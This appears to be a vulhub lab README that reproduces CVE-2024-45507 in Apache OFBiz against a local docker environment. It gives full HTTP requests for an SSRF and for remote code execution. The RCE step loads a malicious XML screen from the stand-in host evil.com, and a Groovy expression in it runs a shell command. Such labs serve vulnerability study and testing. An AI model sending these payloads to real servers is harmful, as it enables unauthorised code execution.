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vulhub/ofbiz/CVE-2024-45507/README.md
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2025-09-06 16:08:15 +08:00

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# Apache OFBiz SSRF and Remote Code Execution (CVE-2024-45507)
[中文版本(Chinese version)](README.zh-cn.md)
Apache OFBiz is an open source enterprise resource planning (ERP) system. It provides a suite of enterprise applications that integrate and automate many of the business processes of an enterprise.
This vulnerability (CVE-2024-45507) affects Apache OFBiz versions prior to 18.12.16. It allows an unauthenticated attacker to perform Server-Side Request Forgery (SSRF) and potentially achieve remote code execution.
References:
- <https://github.com/apache/ofbiz-framework/commit/ffb1bc4879>
- <https://xz.aliyun.com/t/15569>
- <https://paper.seebug.org/3228/>
## Vulnerable environment
Execute the following command to start an Apache OFBiz 18.12.15 server:
```
docker compose up -d
```
After a short wait, you can see the login page at `https://localhost:8443/accounting`.
## Vulnerability Reproduce
### Server-Side Request Forgery (SSRF) attack
Send a POST request to `/webtools/control/forgotPassword/StatsSinceStart` with the following request:
```
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://10.10.10.10/path/to/api
```
### Remote Code Execution
Create a malicious XML file (payload.xml) on a public server like `http://evil.com/ofbiz/payload.xml`:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'touch /tmp/success'.execute();}"/>
</actions>
</section>
</screen>
</screens>
```
Then replace your malicious XML url into following request and send:
```
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://evil.com/ofbiz/payload.xml
```
![](1.png)
The command `touch /tmp/success` will be executed on the target server, demonstrating successful exploitation.
![](2.png)